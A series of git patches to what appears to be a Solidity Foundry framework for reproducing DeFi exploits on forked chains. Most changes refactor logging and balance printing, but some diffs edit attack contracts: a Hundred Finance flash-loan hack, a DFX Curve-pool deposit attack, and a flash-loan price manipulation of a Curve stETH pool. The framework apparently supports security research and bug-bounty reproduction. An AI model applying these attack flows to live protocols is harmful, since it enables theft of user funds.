snapshot the balance of + * @param _tokens the list of tokens to snapshot the balance of + */ modifier snapshot(address _user, IERC20[] memory _tokens) { - snapshotBalance(_user, _tokens); - printBalance(_user, 0); + snapshotAndPrint(_user, _tokens); _; - snapshotBalance(_user, _tokens); - printBalance(_user, tokensBalance[_user].length - 1); + snapshotAndPrint(_user, _tokens); printProfit(address(_user)); } - /// @notice prints the balance of the user for the specified tokens - /// @param _user the user to print the balance of - /// @param _index the index of the balance snapshot to print + /** + * @notice prints the balance of the user for the specified tokens + * @param _user the user to print the balance of + * @param _index the index of the balance snapshot to print + */ function printBalance(address _user, uint256 _index) public view { string memory resolvedAddress = _resolveAddress(_user); console.log("~~~ Balance of [%s] at block #%s", resolvedAddress, block.number); @@ -78,19 +86,27 @@ contract PoC is Test, Tokens { console.log("-------------------------------------------------------------------------------"); for (uint256 j = 0; j < tokensBalance[_user][_index].length; j++) { uint256 balance = uint256(tokensBalance[_user][_index][j].amount); + // Normalize to token decimals uint256 d = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.decimals() : 18; - balance = balance / 10 ** d; - uint256 decimals = balance % d; + uint256 integer_part = balance / (10 ** d); + uint256 fractional_part = balance % (10 ** d); + + // Get token symbol string memory symbol = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.symbol() : "NATIVE"; + + // Generate template string string memory template = string.concat("%s\t|\t", symbol, "\t|\t%s.%s"); - console.log(template, address(tokensBalance[_user][_index][j].token), balance, decimals); + + console.log(template, address(tokensBalance[_user][_index][j].token), integer_part, fractional_part); } console.log(); } - /// @notice prints the profit of the user for the specified tokens - /// @param _user the user to print the profit of + /** + * @notice prints the profit of the user for the specified tokens + * @param _user the user to print the profit of + */ function printProfit(address _user) public view { string memory resolvedAddress = _resolveAddress(_user); console.log("~~~ Profit for [%s]", resolvedAddress); @@ -100,27 +116,50 @@ contract PoC is Test, Tokens { for (uint256 j = 0; j < tokensBalance[_user][0].length; j++) { int256 profit = tokensBalance[_user][tokensBalance[_user].length - 1][j].amount - int256(tokensBalance[_user][0][j].amount); + + // Convert to absolute value uint256 abs_profit = profit < 0 ? uint256(-profit) : uint256(profit); + string memory sign = profit < 0 ? "-" : ""; + // Normalize to token decimals uint256 d = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.decimals() : 18; - abs_profit = abs_profit / 10 ** d; - uint256 decimals = abs_profit % d; - string memory sign = profit < 0 ? "-" : ""; + uint256 integer_part = abs_profit / (10 ** d); + uint256 fractional_part = abs_profit % (10 ** d); + + // Get token symbol string memory symbol = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.symbol() : "NATIVE"; + + // Generate template string string memory template = string.concat("%s\t|\t", symbol, "\t|\t", sign, "%s.%s"); - console.log(template, address(tokensBalance[_user][0][j].token), abs_profit, decimals); + + console.log(template, address(tokensBalance[_user][0][j].token), integer_part, fractional_part); } console.log(); } + /** + * @notice sets the alias for an address + * @param _user the address to set the alias for + * @param _alias the alias to set + */ function setAlias(address _user, string memory _alias) public { names[_user] = _alias; } + /** + * @notice resolves the address to a name if it has one + * @param _user the address to resolve + * @return the resolved alias + */ function _resolveAddress(address _user) internal view returns (string memory) { return bytes(names[_user]).length != 0 ? names[_user] : toAsciiString(_user); } + /** + * @notice converts an address to a string + * @param x the address to convert + * @return the string representation of the address + */ function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { @@ -133,7 +172,12 @@ contract PoC is Test, Tokens { return string(s); } - function char(bytes1 b) internal pure returns (bytes1 c) { + /** + * @notice converts a byte to a char + * @param b the byte to convert + * @return the char representation of the byte + */ + function char(bytes1 b) internal pure returns (bytes1) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } From b988f7d94a0668cefb4c93e6132ac51f28bba319 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 31 Aug 2023 13:36:50 +0200 Subject: [PATCH 05/11] Forge fmt --- src/PoC.sol | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/src/PoC.sol b/src/PoC.sol index 143ad03..70be062 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -22,12 +22,9 @@ contract PoC is Test, Tokens { * @param _tokens the list of tokens to snapshot the balance of * @return tokenBalances the list of token balances */ - function snapshotAndPrint(address _user, IERC20[] memory _tokens) - public - returns (TokenBalance[] memory tokenBalances) - { + function snapshotAndPrint(address _user, IERC20[] memory _tokens) public returns (uint256 index) { tokenBalances = new TokenBalance[](_tokens.length); - uint256 index = tokensBalance[_user].length; + index = tokensBalance[_user].length; tokensBalance[_user].push(); for (uint256 i = 0; i < _tokens.length; i++) { uint256 tokenBalance = address(_tokens[i]) != address(0x0) ? _tokens[i].balanceOf(_user) : _user.balance; @@ -88,13 +85,17 @@ contract PoC is Test, Tokens { uint256 balance = uint256(tokensBalance[_user][_index][j].amount); // Normalize to token decimals - uint256 d = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.decimals() : 18; + uint256 d = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) + ? tokensBalance[_user][_index][j].token.decimals() + : 18; uint256 integer_part = balance / (10 ** d); uint256 fractional_part = balance % (10 ** d); // Get token symbol - string memory symbol = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.symbol() : "NATIVE"; - + string memory symbol = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) + ? tokensBalance[_user][_index][j].token.symbol() + : "NATIVE"; + // Generate template string string memory template = string.concat("%s\t|\t", symbol, "\t|\t%s.%s"); @@ -122,12 +123,16 @@ contract PoC is Test, Tokens { string memory sign = profit < 0 ? "-" : ""; // Normalize to token decimals - uint256 d = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.decimals() : 18; + uint256 d = tokensBalance[_user][0][j].token != IERC20(address(0x0)) + ? tokensBalance[_user][0][j].token.decimals() + : 18; uint256 integer_part = abs_profit / (10 ** d); uint256 fractional_part = abs_profit % (10 ** d); // Get token symbol - string memory symbol = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.symbol() : "NATIVE"; + string memory symbol = tokensBalance[_user][0][j].token != IERC20(address(0x0)) + ? tokensBalance[_user][0][j].token.symbol() + : "NATIVE"; // Generate template string string memory template = string.concat("%s\t|\t", symbol, "\t|\t", sign, "%s.%s"); @@ -162,12 +167,12 @@ contract PoC is Test, Tokens { */ function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); - for (uint i = 0; i < 20; i++) { - bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); + for (uint256 i = 0; i < 20; i++) { + bytes1 b = bytes1(uint8(uint256(uint160(x)) / (2 ** (8 * (19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); - s[2*i] = char(hi); - s[2*i+1] = char(lo); + s[2 * i] = char(hi); + s[2 * i + 1] = char(lo); } return string(s); } From bc7653d7a7a9991611db3675156433a589dd31f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 31 Aug 2023 13:52:41 +0200 Subject: [PATCH 06/11] Fixed variable type declaration --- src/PoC.sol | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/PoC.sol b/src/PoC.sol index 70be062..97ee86a 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -20,10 +20,10 @@ contract PoC is Test, Tokens { * @notice snapshot the balance of the attacker for the specified tokens * @param _user the user to snapshot the balance of * @param _tokens the list of tokens to snapshot the balance of - * @return tokenBalances the list of token balances + * @return index the index of the balance snapshot */ function snapshotAndPrint(address _user, IERC20[] memory _tokens) public returns (uint256 index) { - tokenBalances = new TokenBalance[](_tokens.length); + TokenBalance[] memory tokenBalances = new TokenBalance[](_tokens.length); index = tokensBalance[_user].length; tokensBalance[_user].push(); for (uint256 i = 0; i < _tokens.length; i++) { From 24a659d85a8f965e3a4bfd97c20849b7484f4fda Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 31 Aug 2023 18:50:28 +0200 Subject: [PATCH 07/11] Standardize log level. Added more human readable flash loan printing. --- pocs/DFXFinanceBugfixReview.sol | 10 +---- pocs/HundredFinanceHack.sol | 8 ++-- src/PoC.sol | 37 ++++++++++++++----- src/flashloan/FlashLoan.sol | 16 ++++---- src/flashloan/FlashLoanProvider.sol | 25 +++++++++++++ src/reentrancy/Reentrancy.sol | 2 +- .../examples/ReentrancyExampleAttack.sol | 6 +-- test/pocs/DFXFinanceBugfixReview.t.sol | 2 + test/pocs/HundredFinanceHack.t.sol | 6 +++ 9 files changed, 79 insertions(+), 33 deletions(-) diff --git a/pocs/DFXFinanceBugfixReview.sol b/pocs/DFXFinanceBugfixReview.sol index 9bb2e26..78dd5ff 100644 --- a/pocs/DFXFinanceBugfixReview.sol +++ b/pocs/DFXFinanceBugfixReview.sol @@ -11,8 +11,6 @@ contract DFXFinanceBugfixReview is PoC { IERC20[] tokens; function initiateAttack() external { - console.log(">>> Initiate attack\n"); - tokens.push(PolygonTokens.USDC); tokens.push(EURS); @@ -25,8 +23,7 @@ contract DFXFinanceBugfixReview is PoC { } function _executeAttack() internal { - console.log(PolygonTokens.USDC.balanceOf(address(this))); - console.log(">>> Execute attack\n"); + console.log("\n>>> Execute attack"); // Approve curve pool to use funds PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this))); @@ -47,12 +44,10 @@ contract DFXFinanceBugfixReview is PoC { curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline); } - console.log("Attacker balance after deposit attack"); snapshotAndPrint(address(this), tokens); console.log("Withdraw curve pool LP tokens"); - console.log("CURVE balance of attacker"); IERC20[] memory curve_token = new IERC20[](1); curve_token[0] = IERC20(address(curve_pool)); snapshotAndPrint(address(this), curve_token); @@ -65,8 +60,7 @@ contract DFXFinanceBugfixReview is PoC { } function _completeAttack() internal { - // console.log("Curve pool balance after attack"); - // snapshotAndPrint(address(curve_pool), tokens); + console.log("\n>>> Complete attack"); } } diff --git a/pocs/HundredFinanceHack.sol b/pocs/HundredFinanceHack.sol index f99ce61..a656107 100644 --- a/pocs/HundredFinanceHack.sol +++ b/pocs/HundredFinanceHack.sol @@ -20,13 +20,15 @@ contract HundredFinanceHack is FlashLoan, Reentrancy, PoC { function initiateAttack() external { // Setup token pair and amounts to flash loan from UniswapV2 - address[] memory tokens = new address[](2); - tokens[0] = address(GnosisTokens.USDC); - tokens[1] = address(wxdai); + IERC20[] memory tokens = new IERC20[](2); + tokens[0] = GnosisTokens.USDC; + tokens[1] = wxdai; uint256[] memory amounts = new uint256[](2); amounts[0] = 2117765617657; amounts[1] = 0; + setAlias(address(this), "Attacker"); + // Trigger the flash loan from the passed provider // This will call _executeAttack which has logic to determine if it's in the flash loan callback takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts); diff --git a/src/PoC.sol b/src/PoC.sol index 97ee86a..e7a9689 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -15,6 +15,8 @@ contract PoC is Test, Tokens { mapping(address => TokenBalance[][]) public tokensBalance; // For resolving addresses to aliases mapping(address => string) public names; + // Level of information to print + uint8 logLevel; /** * @notice snapshot the balance of the attacker for the specified tokens @@ -77,10 +79,12 @@ contract PoC is Test, Tokens { */ function printBalance(address _user, uint256 _index) public view { string memory resolvedAddress = _resolveAddress(_user); - console.log("~~~ Balance of [%s] at block #%s", resolvedAddress, block.number); - console.log("-------------------------------------------------------------------------------"); - console.log(" Token address | Symbol | Balance"); - console.log("-------------------------------------------------------------------------------"); + if (logLevel == 1) { + console.log("~~~ Balance of [%s] at block #%s", resolvedAddress, block.number); + console.log("-----------------------------------------------------------------------------------------"); + console.log(" Token address | Symbol | Balance"); + console.log("-----------------------------------------------------------------------------------------"); + } for (uint256 j = 0; j < tokensBalance[_user][_index].length; j++) { uint256 balance = uint256(tokensBalance[_user][_index][j].amount); @@ -97,9 +101,14 @@ contract PoC is Test, Tokens { : "NATIVE"; // Generate template string - string memory template = string.concat("%s\t|\t", symbol, "\t|\t%s.%s"); - - console.log(template, address(tokensBalance[_user][_index][j].token), integer_part, fractional_part); + string memory template; + if (logLevel == 1) { + template = string.concat("%s\t|\t", symbol, "\t|\t%s.%s"); + console.log(template, address(tokensBalance[_user][_index][j].token), integer_part, fractional_part); + } else if (logLevel == 0) { + template = string.concat("--- ", symbol, " balance of [%s]:\t%s.%s", " ---"); + console.log(template, resolvedAddress, integer_part, fractional_part); + } } console.log(); } @@ -111,9 +120,9 @@ contract PoC is Test, Tokens { function printProfit(address _user) public view { string memory resolvedAddress = _resolveAddress(_user); console.log("~~~ Profit for [%s]", resolvedAddress); - console.log("-------------------------------------------------------------------------------"); + console.log("-----------------------------------------------------------------------------------------"); console.log(" Token address | Symbol | Profit"); - console.log("-------------------------------------------------------------------------------"); + console.log("-----------------------------------------------------------------------------------------"); for (uint256 j = 0; j < tokensBalance[_user][0].length; j++) { int256 profit = tokensBalance[_user][tokensBalance[_user].length - 1][j].amount - int256(tokensBalance[_user][0][j].amount); @@ -151,6 +160,14 @@ contract PoC is Test, Tokens { names[_user] = _alias; } + /** + * @notice sets the log level + * @param _logLevel the log level to set + */ + function setLogLevel(uint8 _logLevel) public { + logLevel = _logLevel; + } + /** * @notice resolves the address to a name if it has one * @param _user the address to resolve @@ -174,7 +191,7 @@ contract PoC is Test, Tokens { s[2 * i] = char(hi); s[2 * i + 1] = char(lo); } - return string(s); + return string.concat("0x", string(s)); } /** diff --git a/src/flashloan/FlashLoan.sol b/src/flashloan/FlashLoan.sol index 32d0a0c..4044c04 100644 --- a/src/flashloan/FlashLoan.sol +++ b/src/flashloan/FlashLoan.sol @@ -24,10 +24,10 @@ abstract contract FlashLoan { address[] memory tkns = new address[](tokens.length); for (uint256 i = 0; i < tokens.length; i++) { console.log( - ">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", + "\n>>> Taking flashloan of %s %s from [%s]", amounts[i], - address(tokens[i]), - uint256(flp) + tokens[i].symbol(), + flp.name() ); tkns[i] = address(tokens[i]); } @@ -47,7 +47,7 @@ abstract contract FlashLoan { { for (uint256 i = 0; i < tokens.length; i++) { console.log( - ">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", amounts[i], tokens[i], uint256(flp) + "\n>>> Taking flashloan of %s %s from [%s]", amounts[i], tokens[i], flp.name() ); } _flps.push(flp); @@ -71,7 +71,7 @@ abstract contract FlashLoan { * @param amount The amount of the token to borrow */ function takeFlashLoan(FlashLoanProviders flp, address token, uint256 amount) internal virtual { - console.log(">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", amount, token, uint256(flp)); + console.log("\n>>> Taking flashloan of %s %s from [%s]", amount, token, flp.name()); _flps.push(flp); flp.takeFlashLoan(token, amount); _flps.pop(); @@ -99,14 +99,14 @@ abstract contract FlashLoan { function _completeAttack() internal virtual; function _fallback() internal virtual { - console.log(">>> Execute attack"); + console.log("\n>>> Execute attack"); _executeAttack(); if (_flps.length > 0) { FlashLoanProviders flp = currentFlashLoanProvider(); if (flp.callbackFunctionSelector() == bytes4(msg.data[:4])) { - console.log(">>> Attack completed successfully"); + console.log("\n>>> Attack completed successfully"); _completeAttack(); - console.log(">>> Pay back flash loan"); + console.log("\n>>> Pay back flash loan"); flp.payFlashLoan(); bytes memory returnData = flp.returnData(); assembly { diff --git a/src/flashloan/FlashLoanProvider.sol b/src/flashloan/FlashLoanProvider.sol index 919aee1..a9555c0 100644 --- a/src/flashloan/FlashLoanProvider.sol +++ b/src/flashloan/FlashLoanProvider.sol @@ -22,6 +22,31 @@ enum FlashLoanProviders { } library FlashLoanProvider { + /** + * @dev Returns the name of the specified flash loan provider + */ + function name(FlashLoanProviders flp) internal pure returns (string memory) { + if (flp == FlashLoanProviders.AAVEV1) { + return "AAVEV1"; + } else if (flp == FlashLoanProviders.AAVEV2) { + return "AAVEV2"; + } else if (flp == FlashLoanProviders.AAVEV3) { + return "AAVEV3"; + } else if (flp == FlashLoanProviders.BALANCER) { + return "Balancer"; + } else if (flp == FlashLoanProviders.EULER) { + return "Euler"; + } else if (flp == FlashLoanProviders.MAKERDAO) { + return "MakerDAO"; + } else if (flp == FlashLoanProviders.UNISWAPV2) { + return "UniswapV2"; + } else if (flp == FlashLoanProviders.UNISWAPV3) { + return "UniswapV3"; + } else { + return "None"; + } + } + /** * @dev Allows a user to take a flash loan from a specified FlashloanProvider * @param flp The flash loan provider to take the loan from diff --git a/src/reentrancy/Reentrancy.sol b/src/reentrancy/Reentrancy.sol index eb9cb8e..018cf7c 100644 --- a/src/reentrancy/Reentrancy.sol +++ b/src/reentrancy/Reentrancy.sol @@ -25,7 +25,7 @@ abstract contract Reentrancy { * @dev Function run when target contract makes external call back to attack contract */ function _reentrancyCallback() internal virtual { - console.log(">>> Execute attack"); + console.log("\n>>> Execute attack"); _executeAttack(); } diff --git a/src/reentrancy/examples/ReentrancyExampleAttack.sol b/src/reentrancy/examples/ReentrancyExampleAttack.sol index 26a786b..4d041bf 100644 --- a/src/reentrancy/examples/ReentrancyExampleAttack.sol +++ b/src/reentrancy/examples/ReentrancyExampleAttack.sol @@ -54,14 +54,14 @@ contract ReentrancyExampleAttack is Reentrancy { * @dev Function run when target contract makes external call back to attack contract */ function _reentrancyCallback() internal override incrementState { - console.log(">>> Begin reentrancy stage %s", uint256(reentrancyStage)); + console.log("\n>>> Begin reentrancy stage %s", uint256(reentrancyStage)); if (reentrancyStage == State.ATTACK) { // Execute attack - console.log(">>> Execute attack"); + console.log("\n>>> Execute attack"); _executeAttack(); } else if (reentrancyStage == State.POST_ATTACK) { // Already ran the attack once - console.log(">>> Attack completed successfully"); + console.log("\n>>> Attack completed successfully"); _completeAttack(); } else { // No state defined diff --git a/test/pocs/DFXFinanceBugfixReview.t.sol b/test/pocs/DFXFinanceBugfixReview.t.sol index f1d60f6..d418530 100644 --- a/test/pocs/DFXFinanceBugfixReview.t.sol +++ b/test/pocs/DFXFinanceBugfixReview.t.sol @@ -24,6 +24,8 @@ contract DFXFinanceBugfixReviewTest is PoC { setAlias(address(curve_pool), "curve_pool"); setAlias(address(attackContract), "Attacker"); + + console.log("\n>>> Initial conditions"); } function testAttack() public snapshot(address(attackContract), tokens) snapshot(address(curve_pool), tokens) { diff --git a/test/pocs/HundredFinanceHack.t.sol b/test/pocs/HundredFinanceHack.t.sol index 408c50b..c185731 100644 --- a/test/pocs/HundredFinanceHack.t.sol +++ b/test/pocs/HundredFinanceHack.t.sol @@ -16,9 +16,15 @@ contract HundredFinanceHackTest is PoC { function setUp() public { mainnetFork = vm.createFork("gnosis", 21120000); vm.selectFork(mainnetFork); + hundredFinanceHack = new HundredFinanceHack(); + tokens.push(GnosisTokens.USDC); tokens.push(husd); + + setAlias(address(hundredFinanceHack), "Attacker"); + + console.log("\n>>> Initial conditions"); } function testFlashLoan() public snapshot(address(hundredFinanceHack), tokens) { From a2a77ff6102aa9e98ef309ce3f933e03ad441151 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 31 Aug 2023 18:58:06 +0200 Subject: [PATCH 08/11] Forge fmt --- src/flashloan/FlashLoan.sol | 11 ++--------- src/flashloan/FlashLoanProvider.sol | 2 +- test/pocs/HundredFinanceHack.t.sol | 2 +- 3 files changed, 4 insertions(+), 11 deletions(-) diff --git a/src/flashloan/FlashLoan.sol b/src/flashloan/FlashLoan.sol index 4044c04..a02dcb6 100644 --- a/src/flashloan/FlashLoan.sol +++ b/src/flashloan/FlashLoan.sol @@ -23,12 +23,7 @@ abstract contract FlashLoan { function takeFlashLoan(FlashLoanProviders flp, IERC20[] memory tokens, uint256[] memory amounts) internal virtual { address[] memory tkns = new address[](tokens.length); for (uint256 i = 0; i < tokens.length; i++) { - console.log( - "\n>>> Taking flashloan of %s %s from [%s]", - amounts[i], - tokens[i].symbol(), - flp.name() - ); + console.log("\n>>> Taking flashloan of %s %s from [%s]", amounts[i], tokens[i].symbol(), flp.name()); tkns[i] = address(tokens[i]); } _flps.push(flp); @@ -46,9 +41,7 @@ abstract contract FlashLoan { virtual { for (uint256 i = 0; i < tokens.length; i++) { - console.log( - "\n>>> Taking flashloan of %s %s from [%s]", amounts[i], tokens[i], flp.name() - ); + console.log("\n>>> Taking flashloan of %s %s from [%s]", amounts[i], tokens[i], flp.name()); } _flps.push(flp); flp.takeFlashLoan(tokens, amounts); diff --git a/src/flashloan/FlashLoanProvider.sol b/src/flashloan/FlashLoanProvider.sol index a9555c0..7231efd 100644 --- a/src/flashloan/FlashLoanProvider.sol +++ b/src/flashloan/FlashLoanProvider.sol @@ -46,7 +46,7 @@ library FlashLoanProvider { return "None"; } } - + /** * @dev Allows a user to take a flash loan from a specified FlashloanProvider * @param flp The flash loan provider to take the loan from diff --git a/test/pocs/HundredFinanceHack.t.sol b/test/pocs/HundredFinanceHack.t.sol index c185731..15e0aa7 100644 --- a/test/pocs/HundredFinanceHack.t.sol +++ b/test/pocs/HundredFinanceHack.t.sol @@ -16,7 +16,7 @@ contract HundredFinanceHackTest is PoC { function setUp() public { mainnetFork = vm.createFork("gnosis", 21120000); vm.selectFork(mainnetFork); - + hundredFinanceHack = new HundredFinanceHack(); tokens.push(GnosisTokens.USDC); From ab2d80fba87ca32943d8aa480f816c671890af2c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 7 Sep 2023 12:37:11 +0200 Subject: [PATCH 09/11] Updated forge-std --- lib/forge-std | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/forge-std b/lib/forge-std index 53331f4..eb980e1 160000 --- a/lib/forge-std +++ b/lib/forge-std @@ -1 +1 @@ -Subproject commit 53331f4cb2e313466f72440f3e73af048c454d02 +Subproject commit eb980e1d4f0e8173ec27da77297ae411840c8ccb From 713ec0c580792a81235bcab94ba794dbe024ce2f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 7 Sep 2023 13:38:11 +0200 Subject: [PATCH 10/11] Changed flash loan provider to UniswapV3 since Balancer hack --- .../examples/PriceManipulationExample.sol | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/src/pricemanipulation/examples/PriceManipulationExample.sol b/src/pricemanipulation/examples/PriceManipulationExample.sol index bd03d0c..623511a 100644 --- a/src/pricemanipulation/examples/PriceManipulationExample.sol +++ b/src/pricemanipulation/examples/PriceManipulationExample.sol @@ -20,13 +20,13 @@ contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens { console.log("---------------------------------------------------------------------------"); console.log("Curve Virtual Price BEFORE:", curvePool.get_virtual_price()); // Deal ether to cover fees and losses - deal(EthereumTokens.WETH, address(this), 22.3 ether); + deal(EthereumTokens.WETH, address(this), 40 ether); deal(EthereumTokens.NATIVE_ASSET, address(this), 3.5 ether); - takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.WETH, flashLoanAmount); + takeFlashLoan(FlashLoanProviders.UNISWAPV3, EthereumTokens.WETH, flashLoanAmount); } function _executeAttack() internal override(PriceManipulation, FlashLoan) { - if (currentFlashLoanProvider() == FlashLoanProviders.BALANCER) { + if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV3) { // Unwrap flash loaned wstETH to manipulate Curve pool console.log("---------------------------------------------------------------------------"); IWrapped(address(EthereumTokens.wstETH)).unwrap(flashLoanAmount); @@ -48,19 +48,19 @@ contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens { // Wrap stETH to pay back flash loan EthereumTokens.stETH.approve(address(EthereumTokens.wstETH), type(uint256).max); IWrapped(address(EthereumTokens.wstETH)).wrap(EthereumTokens.stETH.balanceOf(address(this))); - } else if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV3) { + } else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV3) { // Unwrap ether to use in price manipulation IWrappedEther(address(EthereumTokens.WETH)).withdraw(flashLoanAmount); // Borrow wstETH - takeFlashLoan(FlashLoanProviders.BALANCER, EthereumTokens.wstETH, flashLoanAmount); + takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.wstETH, flashLoanAmount); - // Unrawp wstETH and swap stETH to Ether to pay back AAVEV3 loan + // Unrawp wstETH and swap stETH to Ether to pay back UniswapV3 loan IWrapped(address(EthereumTokens.wstETH)).unwrap(EthereumTokens.wstETH.balanceOf(address(this))); EthereumTokens.stETH.approve(address(curvePool), type(uint256).max); curvePool.exchange(1, 0, EthereumTokens.stETH.balanceOf(address(this)), 0); - // Wrap Ether to pay back AAVEV3 loan + // Wrap Ether to pay back UniswapV3 loan IWrappedEther(address(EthereumTokens.WETH)).deposit{value: address(this).balance}(); console.log("---------------------------------------------------------------------------"); console.log("Pay back WETH flash loan"); From 61f7c05429602d434abb65f5eff7086338637d76 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 7 Sep 2023 14:03:53 +0200 Subject: [PATCH 11/11] Removed unecessary dependencies --- .gitmodules | 6 ------ lib/v2-core | 1 - lib/v2-periphery | 1 - remappings.txt | 6 +----- 4 files changed, 1 insertion(+), 13 deletions(-) delete mode 160000 lib/v2-core delete mode 160000 lib/v2-periphery diff --git a/.gitmodules b/.gitmodules index 76e55d5..888d42d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,9 +1,3 @@ [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std -[submodule "lib/v2-core"] - path = lib/v2-core - url = https://github.com/uniswap/v2-core -[submodule "lib/v2-periphery"] - path = lib/v2-periphery - url = https://github.com/uniswap/v2-periphery diff --git a/lib/v2-core b/lib/v2-core deleted file mode 160000 index ee547b1..0000000 --- a/lib/v2-core +++ /dev/null @@ -1 +0,0 @@ -Subproject commit ee547b17853e71ed4e0101ccfd52e70d5acded58 diff --git a/lib/v2-periphery b/lib/v2-periphery deleted file mode 160000 index 0335e8f..0000000 --- a/lib/v2-periphery +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f diff --git a/remappings.txt b/remappings.txt index 185952e..1076a42 100644 --- a/remappings.txt +++ b/remappings.txt @@ -1,6 +1,2 @@ ds-test/=lib/forge-std/lib/ds-test/src/ -forge-std/=lib/forge-std/src/ -@openzeppelin/contracts=lib/openzeppelin-contracts/contracts/ -@openzeppelin/contract-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts/ -@uniswap-v2-core/=lib/uniswap-v2-core/contracts/ -@uniswap-v2-periphery/=lib/uniswap-v2-periphery/contracts/ \ No newline at end of file +forge-std/=lib/forge-std/src/ \ No newline at end of file